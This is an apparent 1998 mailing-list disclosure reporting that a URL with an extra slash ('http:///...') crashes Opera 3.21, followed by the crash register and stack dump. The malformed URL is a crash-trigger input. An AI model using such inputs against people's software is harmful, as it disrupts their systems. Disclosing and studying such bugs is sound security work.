Date: Fri, 14 Aug 1998 09:54:09 +0800
From: "Zac Leow C.H" <[email protected]>
To: [email protected]Subject: URL exploit to crash Opera Browser
By putting an extra slash at the end of http:// tag will crash your opera browser. Tested on version 3.21
e.g.
http:///opera.nta.no
Seems to be save on Netscape and MSIE, they just generate an error message. ftp:/// tag does not crash any of the browsers.
OPERA caused an invalid page fault in
module OPERA.EXE at 015f:004c5476.
Registers:
EAX=00003a3a CS=015f EIP=004c5476 EFLGS=00010206
EBX=3a3a3a3a SS=0167 ESP=0077f0a4 EBP=0077f0cc
ECX=0000002f DS=0167 ESI=013ada80 FS=129f
EDX=00000000 ES=0167 EDI=013ada8c GS=0000
Bytes at CS:EIP:
8b 0a bf ff fe fe 7e 8b c1 8b f7 33 cb 03 f0 03
Stack dump:
013ada80 013ada8c 00000000 0044391b 00000000 0000003a 013ad9f0 013ad740 00000000 00000000 0077f558 0048a4fd 013a8b20 00000000 011c136c bff51f90
--
Zac "BugTrakker" Leow (R & D Engineer)
BioInformatics Centre (Singapore)
http://post1.com/~zakary
Opinions expressed herein are my own and may not represent those of my employer.
